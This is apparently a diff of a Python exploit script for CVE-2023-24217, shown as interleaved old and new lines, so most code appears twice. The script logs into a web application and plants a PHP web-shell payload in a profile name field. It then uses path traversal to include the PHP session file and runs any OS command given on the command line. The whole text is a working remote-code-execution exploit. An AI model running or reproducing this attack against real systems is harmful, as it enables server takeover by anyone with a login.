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helloexp
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e2b371ef33
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d18d576a30
@ -11,30 +11,40 @@ from string import ascii_lowercase, ascii_uppercase, digits
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import re
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from base64 import b64encode
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from urllib.parse import quote_plus
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sess:Session = Session()
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sess: Session = Session()
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cookies = {}
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headers = {}
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state = {}
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def random_string(length:int) -> str:
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return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))
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def login(base_url:str, username:str, password:str) -> bool:
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data = {"login": username, "pass": password, "Submit":"", "action":"login"}
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headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"
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res = sess.post(f"{base_url}/login.php", data=data, headers=headers)
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if("My profile" in res.text):
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def random_string(length: int) -> str:
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return "".join(choice(ascii_lowercase + ascii_uppercase + digits) for i in range(length))
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def login(base_url: str, username: str, password: str) -> bool:
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data = {"login": username, "pass": password, "Submit": "", "action": "login"}
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headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"
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res = sess.post(f"{base_url}/login.php", data=data, headers=headers)
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if ("My profile" in res.text):
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return res.text
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else:
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return None
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def logout(base_url:str) -> bool:
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else:
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return None
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def logout(base_url: str) -> bool:
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headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"
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sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)
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def extract_field_value(contents, name):
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sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate", headers=headers)
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def extract_field_value(contents, name):
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value = re.findall(f'name="{name}" value="(.*)"', contents)
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if(len(value)):
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if (len(value)):
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return value[0]
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else:
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return ""
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def get_profile(html:str):
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else:
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return ""
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def get_profile(html: str):
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return {
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"contact_name": extract_field_value(html, "contact_name"),
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"contact_lab": extract_field_value(html, "contact_lab"),
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@ -45,51 +55,65 @@ def get_profile(html:str):
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"contact_tel": extract_field_value(html, "contact_tel"),
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"contact_email": extract_field_value(html, "contact_email")
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}
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def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:
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def update_profile(base_url: str, wrapper: str, param: str, data: dict) -> bool:
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headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"
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res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)
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return True
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def execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):
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res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)
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return True
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def execute_command(base_url: str, wrapper: str, param: str, session_path: str, cmd: str):
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session_file = sess.cookies.get("PHPSESSID")
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headers["Referer"] = f"{base_url}/login.php?%2F"
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page = f"../../../../../..{session_path}/sess_{session_file}"
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res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)
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return parse_output(res.text, wrapper)
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headers["Referer"] = f"{base_url}/login.php?%2F"
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page = f"../../../../../..{session_path}/sess_{session_file}"
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res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}",
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headers=headers)
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return parse_output(res.text, wrapper)
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def exploit(args) -> None:
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wrapper = random_string(5)
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param = random_string(3)
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html = login(args.url, args.login_username, args.login_password)
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if(html == None):
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param = random_string(3)
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html = login(args.url, args.login_username, args.login_password)
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if (html == None):
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print("unable to login")
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return False
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clean = get_profile(html)
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data = get_profile(html)
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tag = b64encode(wrapper.encode()).decode()
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payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"
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data["contact_name"] = payload #inject payload in name field
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if(update_profile(args.url, wrapper, param, data)):
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return False
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clean = get_profile(html)
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data = get_profile(html)
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tag = b64encode(wrapper.encode()).decode()
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payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"
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data["contact_name"] = payload # inject payload in name field
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if (update_profile(args.url, wrapper, param, data)):
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login(args.url, args.login_username, args.login_password) # reload the session w/ our payload
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print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))
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update_profile(args.url, wrapper, param, clean) # revert the profile
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logout(args.url)
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print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))
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update_profile(args.url, wrapper, param, clean) # revert the profile
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logout(args.url)
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def parse_output(contents, wrapper) -> None:
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matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)
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if(len(matches)):
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if (len(matches)):
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return matches[0]
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return None
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return None
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def main() -> None:
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parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")
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parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")
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parser.add_argument("--login-username", "-lu", required=True, help="Username.")
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parser.add_argument("--login-password", "-lp", required=True, help="Password.")
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parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")
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parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")
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args = parser.parse_args()
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if(args.url.endswith("/")):
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parser: ArgumentParser = ArgumentParser(description="CVE-2023-24217")
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parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")
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parser.add_argument("--login-username", "-lu", required=True, help="Username.")
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parser.add_argument("--login-password", "-lp", required=True, help="Password.")
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parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")
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parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/",
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help="The location where php stores session files.")
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args = parser.parse_args()
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if (args.url.endswith("/")):
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args.url = args.url[:-1]
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if(args.sessions.endswith("/")):
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if (args.sessions.endswith("/")):
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args.sessions = args.sessions[:-1]
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exploit(args)
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pass
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if(__name__ == "__main__"):
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exploit(args)
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pass
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if __name__ == "__main__":
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main()
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